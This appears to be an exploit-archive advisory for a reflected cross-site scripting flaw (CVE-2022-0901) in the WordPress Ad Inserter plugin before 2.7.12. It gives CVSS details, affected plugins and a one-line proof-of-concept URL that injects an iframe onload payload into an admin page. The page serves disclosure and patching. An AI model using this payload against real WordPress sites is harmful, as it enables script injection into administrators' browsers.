WordPress Ad Inserter Plugin < 2.7.12 - Cross Site Scripting Vulnerability

2022-04-0700:00:00

Taurus Omar

0day.today

224

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

0.001 Low

EPSS

Percentile

50.5%

JSON

Tittle:
WordPress Plugin Ad Inserter < 2.7.12 - Reflected Cross-Site Scripting

References:
CVE-2022-0901

Author:
Taurus Omar 

Description:
The plugins do not sanitise and escape the REQUEST_URI before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting in browsers which do not encode characters

Affects Plugins:
ad-inserter
ad-inserter-pro 
Fixed in version 2.7.12

Proof of Concept:
In a browser which does not encode characters: 
https://example.com/wp-admin/options-general.php?page=ad-inserter.php&start=2&tab=\"><iframe/onload=alert(1)></iframe> 

Classification
Type XSS 
OWASP top 10 A7: Cross-Site Scripting (XSS)
CWE-79

wpScan:
https://wpscan.com/vulnerability/85582b4f-a40a-4394-9834-0c88c5dc57ba